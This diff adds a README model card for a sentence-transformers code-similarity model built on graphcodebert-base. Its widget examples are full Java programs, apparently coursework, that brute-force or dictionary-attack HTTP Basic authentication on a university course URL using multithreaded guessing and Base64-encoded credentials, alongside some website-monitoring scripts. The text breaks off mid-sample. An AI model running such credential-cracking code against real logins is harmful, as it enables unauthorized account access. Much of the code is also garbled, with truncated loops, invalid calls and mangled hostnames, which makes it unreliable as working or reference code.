diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1812 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:33411 +- loss:BatchAllTripletLoss +base_model: microsoft/graphcodebert-base +widget: +- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\ + import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\ + \ {\n \n \n \n public static String Base64Encode(String s) {\n \ + \ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\ + \ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ + \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ + \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ + \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ + \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ + \ for(int i=0;i> 2)];\n c[j+1] = table[(b[i+1] >>\ + \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ + \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ + \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ + \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ + \ }\n \n return String.valueOf(c);\n }\n \n \n public\ + \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ + \ for (int i=0;i=0);\n\ + \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ + \ {\n while (curconn>0) {\n try {\n wait();\n\ + \ } catch (InterruptedException e) {}\n }\n }\n \n \ + \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ + \ interruptd= false;\n int idx = -1;\n \n \n \n \ + \ \n while (curconn>=MAXCONN) {\n try {\n \ + \ wait();\n } catch (InterruptedException e) { interruptd = true;\ + \ }\n }\n \n \n \n if (!interruptd) {\n \ + \ \n curconn++;\n for (idx=0;idx=0) {\n if (idx>=idxLimit[i]) {\n \ + \ int nchar = i + 1;\n idx-=idxLimit[i];\n \ + \ for (int j=0;jALLCOMBI - idxstart)\ + \ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\ + \ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount=0) {\n System.out.println();\n\ + \ System.out.println(\" ********************* [ URL SUCCESSFULLY\ + \ CRACKED !! ] *********************\");\n System.out.println();\n\ + \ System.out.println(\" The password is : \"+passw);\n \ + \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ + +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ + \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ + \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ + \ \" attempts/sec\");\n System.out.println(\" Cracking time \ + \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ + \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ + \ \" seconds\");\n System.out.println();\n System.out.println(\"\ + \ ***************************************************************************\"\ + );\n System.out.println();\n } else {\n \ + \ System.out.println();\n System.out.println(\" *********************\ + \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ + \ System.out.println(\" Number of attempts : \"+attempt+\" of\ + \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ + \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ + %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ + \ \" attempts/sec\");\n System.out.println(\" Cracking time \ + \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ + \ System.out.println();\n System.out.println(\" ***************************************************************************\"\ + );\n System.out.println();\n }\n }\n }\n \ + \ \n \n public static void printSyntax() {\n System.out.println();\n\ + \ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\ + \ [username]\");\n System.out.println();\n System.out.println(\"\ + \ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\ + \ (trying from the first the last combinations)\");\n\ + \ System.out.println(\" 1 - ENHANCED Brute force mode\"\ + );\n System.out.println(\" (dividing cracking jobs\ + \ multiple threads) (default)\");\n System.out.println(\" URL :\ + \ (opt) the URL crack \");\n System.out.println(\" \ + \ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\ + \ charset : (optional) the character set used crack.\");\n System.out.println(\"\ + \ - (default)\");\n System.out.println(\" \ + \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\ + \ -alphanum \");\n System.out.println(\" \ + \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \ + \ System.out.println(\" -alphalow \");\n System.out.println(\"\ + \ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\ + \ -alphaup \");\n System.out.println(\" \ + \ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \ + \ -number \");\n System.out.println(\" 1234567890\"\ + );\n System.out.println(\" [custom] e.g. aAbB123\");\n \ + \ System.out.println(\" , : (optional) range of characters applied in\ + \ the cracking\");\n System.out.println(\" where\ + \ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \ + \ <= <= 10 (default = 3)\");\n System.out.println(\"\ + \ username : (optional) the username that is used crack\");\n System.out.println();\n\ + \ System.out.println(\" NOTE: The optional parameters 'charset','','',\ + \ and 'username'\");\n System.out.println(\" have specified altogether\ + \ none at all.\");\n System.out.println(\" For example, if [charset]\ + \ is specified, then [], [], and\");\n System.out.println(\" [username]\ + \ have specified as well. If none of them specified,\");\n System.out.println(\"\ + \ default values used.\");\n System.out.println();\n System.out.println(\"\ + \ Example of invocation :\");\n System.out.println(\" java BruteForce\ + \ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\ + \ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\ + \ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\ + \ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \ + \ System.out.println();\n System.out.println();\n }\n \n \n\ + \ \n \n \n \n \n \n public static void countIdxLimit() {\n\ + \ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\ + \ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\ + \ (i==0) {\n idxLimit[i] = 0;\n } else {\n \ + \ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \ + \ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \ + \ \n \n public static void paramCheck(String[] args) {\n int argc\ + \ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\ + \ {\n case 0: {\n isenhanced = false;\n \ + \ } break;\n case 1: {\n isenhanced\ + \ = true;\n } break;\n default:\n \ + \ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\ + \ printSyntax();\n System.exit(1);\n \ + \ }\n } catch (NumberFormatException e) {\n System.out.println(\"\ + Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n if (argc>1) {\n \ + \ try {\n \n URL u = new URL(args[1]);\n\ + \ \n \n try {\n \ + \ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \ + \ \n switch (conn.getResponseCode()) {\n \ + \ case HttpURLConnection.HTTP_ACCEPTED:\n \ + \ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\ + \ case HttpURLConnection.HTTP_FORBIDDEN:\n \ + \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ + \ break;\n default:\n \ + \ \n \n System.out.println(\"\ + Unable open connection the URL '\"+args[1]+\"'\");\n \ + \ System.exit(1);\n }\n } catch (IOException\ + \ e) {\n System.out.println(e);\n System.exit(1);\n\ + \ }\n \n THEURL = args[1];\n \ + \ } catch (MalformedURLException e) {\n \n \ + \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n }\n \n \ + \ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\ + \ } catch (NumberFormatException e) {\n System.out.println(\"\ + Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n try\ + \ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \ + \ } catch (NumberFormatException e) {\n System.out.println(\"\ + Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n if\ + \ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\ + \ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \ + \ printSyntax();\n System.exit(1);\n } else\n \ + \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ + Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\ + \ printSyntax();\n System.exit(1);\n \ + \ }\n \n if (MAXCHAR>10) {\n \ + \ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\ + \ value and 10)\");\n printSyntax();\n System.exit(1);\n\ + \ }\n \n if (args[2].toLowerCase().equals(\"\ + -\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\ + )) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -number\")) {\n charset = \"1234567890\";\n \ + \ } else {\n charset =\ + \ args[2];\n }\n \n USERNAME\ + \ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \ + \ System.out.println(\"Please specify the [charset], [], [], and [username]\ + \ altogether none at all\");\n printSyntax();\n \ + \ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\ + \ {\n System.out.println(\"The number of parameters expected\ + \ is not more than 6. \");\n System.out.println(\" have specified\ + \ more than 6 parameters.\");\n printSyntax();\n \ + \ System.exit(1);\n }\n }\n \n public static\ + \ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\ + \ (args.length==0) {\n args = new String[6];\n args[0]\ + \ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\ + \ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\ + \ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \ + \ \n \n paramCheck(args);\n \n countIdxLimit();\n\ + \ \n \n Application = new BruteForce();\n }\n \n \ + \ public static BruteForce Application;\n public static String THEURL =\ + \ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\ + \ isenhanced; \n public static String passw = \"\"; \n \n public\ + \ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\ + \ = 50; \n public static int MAXCONN = 50; \n public\ + \ static int\t curconn = 0; \n public static int success\ + \ = -1; \n \n public static String USERNAME = \"\"; \n public\ + \ static int MINCHAR; \n public static int MAXCHAR;\ + \ \n public static int ALLCOMBI; \n \n \ + \ public static int start ,end; \n \n \n public static\ + \ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\ + \ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\ + \ = new boolean[MAXCONN]; \n public ThCrack[] threads \ + \ = new ThCrack[MAXTHREAD]; \n public static int \ + \ attempt = 0; \n public static int idxLimit; \n public\ + \ static String charset; \n public static int NCHAR; \n}\n" + sentences: + - "\nimport java.util.*;\n\npublic class Dictionary {\n\n private String strUsername;\n\ + \ private String strURL;\n \n \n public Dictionary(String username,\ + \ String url)\n {\n strUsername = username;\n strURL = url;\n\ + \ } \n \n public void run() {\n Date dtStart, dtEnd;\n \ + \ \n PasswordFile pwd = new PasswordFile(\"/usr/dict/words\");\n \ + \ PasswordTest tester;\n int i=1;\n boolean bDone = false;\n\ + \ Result res;\n\n dtStart = new Date();\n while(!bDone) {\n\ + \ tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());\n\ + \ \n bDone = tester;\n i++;\n if(bDone)\ + \ {\n \n res = new Result(strURL, strUsername, pwd.getPassword(),\ + \ dtStart, new Date(), i);\n System.out.print(res.toString());\n\ + \ }\n else\n {\n \n \ + \ }\n \n \n if(pwd.getPassword() == null)\n\ + \ {\n System.out.println(\"Exhausted word file without\ + \ finding password\");\n bDone = true;\n }\n \ + \ } \n \n } \n \n \n public static void main(String[] args)\ + \ {\n \n \n \n \n Dictionary dict = new Dictionary(\"\ + \", \"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n dict.run();\n\ + \ }\n \n}\n" + - "\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ + \ java.io.*; \n\npublic class Dictionary { \n\n public int runProcess(String\ + \ urlString,String passwd) { \n\n System.out.println(\"Checking password:\ + \ ... \" + passwd);\n\n int returnval = 0;\n MyAuthenticator auth\ + \ = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n \ + \ try{\n\n URL yahoo = new URL(urlString); \n BufferedReader\ + \ in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ + \ String inputLine;\n\n while ((inputLine = in.readLine()) !=\ + \ null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"\ + password: \" + passwd);\n returnval = 1;\n }\n\n\t \ + \ in.print();\n\n }catch(Exception e){ returnval = 0;}\n\n return\ + \ returnval;\n }\n\n public static void main (String argv[]) { \n\n \ + \ int retval = 0;\n String pwd = \"\";\n String inFile = \"/usr/share/lib/dict/words\"\ + ;\n BufferedReader in = null;\n String line1 =\"\";\n\n try {\n\ + \ \n Dictionary s = new Dictionary(); \n String urlToSearch\ + \ = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n in = new BufferedReader(new\ + \ FileReader(inFile)); \n\n while ((line1=in.readLine()) != null) {\n\ + \n retval = 0;\n pwd = line1;\n retval = s.runProcess(urlToSearch,pwd);\ + \ \n if (retval > 0) {\n System.exit(0);\n }\n\ + \ }\n }catch(Exception e)\n { e.printStackTrace();}\n \ + \ \n } \n} \n" + - "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\ + \npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\ + \ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\ + \ = null;\n\n static String Path = null;\n static String str = null;\n static\ + \ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\ + \ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\ + );\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\ + \ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\ + \n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\ + ;\n\n try\n {\n \n mailwriter = new PrintWriter(new\ + \ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\ + \ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\ + \ {\n System.out.println(\"Sending Mail\");\n p\ + \ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\ + \ }\n else\n System.out.println(\" mail sent\");\n\n\ + \ } catch (IOException ioe)\n {\n System.out.println(\"\ + IOException\");\n ioe.printStackTrace();\n }\n catch\ + \ (InterruptedException intex)\n {\n System.out.println(\"\ + Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\ + \n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\ + \ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\ + \ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\ + Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\ + \ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\ + /usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ + \ p.getInputStream()));\n\n Path=bf.readLine();\n\ + \n if (indexfile.exists())\n {\n mailwriter.println(\"\ + File with name 'index.html' found in directory.\");\n mailwriter.println(\"\ + Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\ + /usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\ + \ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\ + /\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\ + File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\ + Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\ + .\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\ + Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\ + /usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\ + \ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\ + \ saved disk for the first time.\");\n }\n\n\n } catch (IOException\ + \ ioe)\n {\n System.out.println(\"IOException\");\n \ + \ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\ + \ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\ + );\n iobe.printStackTrace();\n }\n catch (Exception e)\n\ + \ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\ + \ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\ + \ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\ + /usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \ + \ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\ + \n while((str=bf.readLine())!=null)\n {\n bf = new\ + \ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\ + \ {\n str=bf.nextToken();\n if ((str.indexOf(\"\ + gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\ + \ }\n \n }\n\n }catch (IOException ioe)\n \ + \ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ + \ }\n catch (Exception e)\n {\n System.out.println(\"\ + Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\ + Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\ + \n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\ + \ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \ + \ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\ + \ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\ + \ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ + \ p.getInputStream()));\n pr.println(bf.readLine());\n\ + \ \n for(int i=0; i 0) || (str.indexOf(\"jpg\") > 0))\n \ + \ prsName=str;\n }\n return (Object)prsName;\n }\n}\n" +- source_sentence: "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\n\ + import java.io.*;\npublic class Dictionary {\n static String userName;\n static\ + \ URL url;\n static URLAuthenticator urlAuthenticator;\n static int noOfAttempts;\n\ + \ \n public Dictionary() {\n }\n\n public static void main (String args[])\ + \ {\n Properties props = System.getProperties();\n props.put(\"http.proxyHost\"\ + , \"bluetongue.cs.rmit.edu.:8080\");\n \n System.out.println(props.get(\"\ + http.proxyHost\"));\n BufferedReader inFile = null;\n \n try {\n\ + \t if (args.length < 1) { \n\t\t System.out.println (\"\ + Usage : java Dictionary /usr/share/lib/dict/words\");\n \ + \ System.exit(1);\n\t\t }\t \n\t \t inFile = new BufferedReader (new FileReader(args[0]));\n\ + \n\n\n\t \t breakPassword(inFile);\n\t\t}\n\t\t\n\t\tcatch (FileNotFoundException\ + \ e) { \n\t\t System.err.println(e.getMessage());\n\t\t System.exit(1);\n\ + \ }\n catch (IOException e) { \n\ + \ System.err.println(e.getMessage());\n \ + \ System.exit(1);\n }\n\t finally {\n \t try {\n\t\t inFile.close();\ + \ \n\n\t }\n\t catch (IOException ex) {ex.printStackTrace();} \n\t\ + }\n\n }\n private static void breakPassword (BufferedReader file) throws\n IOException\ + \ {\n String password=\" \";\n userName=\"\";\n boolean found= false;\n\ + \ MyHttpURLConnection httpURLConnection;\n String passBase64=\" \"\ + ;\n urlAuthenticator = new URLAuthenticator(userName);\n HttpURLConnection\ + \ u=null;\n String input;\n\ttry {\n\t \n\t url = new URL\ + \ (\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \t \n \ + \ } catch (MalformedURLException e){\n\t } catch (IOException io) {io.printStackTrace();}\n\ + \t\n while (( input = file.readLine()) != null) {\n\t if (input.length()\ + \ <=3) {\n password = input;\n\t\t password =\":\"+ password;\n\ + \ \t \n try {\n u = (HttpURLConnection)url.openConnection();\n\ + \t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ + \ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\ + \t\t\t \n\n\t\t\t\n u.connect();\n\t\t noOfAttempts++;\t\ + \n\t\t if (u.getContentLength() != 0) { \n\t\t \n\t\t if (u.getResponseCode()\ + \ == HttpURLConnection.HTTP_OK ) {\n\t\t \n\t found=true;\n\ + \ \t\t System.out.println(\"Your User Name : Password Combination is\ + \ :\"+password+ \n\t\t\t \" \"+ \" Found by Thread\");\n\t\t\t System.out.println(\"\ + \ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ + \t\t\t \n\t\t System.exit(0);\n\t\t }\t \n \ + \ \n\t\t }\n\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\ + \t\t } catch (BindException e){e.printStackTrace();\n\t\t } catch (IndexOutOfBoundsException\ + \ e3){e3.printStackTrace();\n\t\t } catch (IOException io) {io.printStackTrace();\n\ + \t\t } finally {u.disconnect();\n\t\t }\n }\n }\n\t\n\t\n\ + \t\n\t\n\t\n\t\n\t\n }\n}\nclass URLAuthenticator extends Authenticator {\n\ + \ private String uName;\n String passwd;\n static private char[] password;\n\ + \ public URLAuthenticator(String uName) {\n this.uName = uName;\n }\n\ + \ public void setPassword(String passwd) {\n\n this.passwd=passwd;\n \ + \ password=passwd.toCharArray();\n\n }\n\n public PasswordAuthentication\ + \ getPasswordAuthentication() {\n\n\t PasswordAuthentication passwordAuthentication\ + \ = new PasswordAuthentication(uName,password);\n \t return passwordAuthentication;\n\ + \ }\n}\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL\ + \ url) {\n super(url);\n }\n public void disconnect() {\n }\n \ + \ public boolean usingProxy() {\n return true;\n }\n public void\ + \ connect() {\n }\n}\n\n\n \n\n\n" + sentences: + - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\ + \n\npublic class Dictionary\n{\n\n\tprivate String result =\"\";\n\n\tpublic\ + \ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\ + \ passwd)\n {\n this.pass = passwd;\n }\n\n\t \ + \ protected PasswordAuthentication getPasswordAuthentication()\n \ + \ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\ + \ }\n public String pass;\n }\n\n public Dictionary()\ + \ {\n\n DataInputStream dis = null;\n String record = null;\n \ + \ int recCount = 0, flag=0;\n\t String result=\"\";\n java.util.Date\ + \ d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\ + \n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\n\t\tint\ + \ count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection\ + \ = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\ + \ File f = new File(\"/usr/share/lib/dict/words\");\n FileInputStream\ + \ fis = new FileInputStream(f);\n BufferedInputStream bis = new BufferedInputStream(fis);\n\ + \ dis = new DataInputStream(bis);\n\n while ( (record=dis.readLine())\ + \ != null )\n\t\t {\n\t\t System.out.println(count+ \"\ + \ ) \" + record);\n count++;\n connection\ + \ = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new\ + \ customAuthenticator(record));\n if (connection.getResponseCode()==200)\n\ + \ { System.out.print(\"The password is : \"+record);\n\ + \ System.out.println();\n \ + \ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\ + \ System.out.println(d1.toString());\n \ + \ System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime()\ + \ - d.getTime())/1000+\"\\n\");\n System.exit(0);\n\ + \ }\n\n connection.disconnect();\n\ + \ }\n }\n catch(Exception e)\ + \ { System.err.println(e); }\n }\n\n\tpublic static void main(String[] args)\n\ + \t{\n\n\t\tDictionary = new Dictionary();\n\n\n\t}\n}" + - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ + \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ + \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ + \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ + \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ + http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ + \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ + \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ + \ String line;\n while ((line = in.readLine()) != null) {\n \ + \ System.out.println(line);\n }\n System.out.println(\"\ + Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ + \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ + \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ + \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ + \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ + \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ + Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ + \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ + \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ + \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ + \ String();\n String c2 = new String();\n String c3 = new String();\n \ + \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ + \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ + \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ + \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ + \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ + \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ + \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ + \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ + \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ + \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ + \ username, String password) {\n return \" \" + base64Encode (username + \"\ + :\" + password);\n }\n\n private final static char base64Array [] = {\n \ + \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ + \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ + \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ + \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ + \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ + \n private static String base64Encode (String string) {\n String encodedString\ + \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ + \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ + \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ + \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ + \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ + \ = 0;\n pad = 1;\n }\n else\n b3\ + \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ + \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ + \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n" + - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ + import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ + \ public static BufferedReader in;\n \n\n public static int 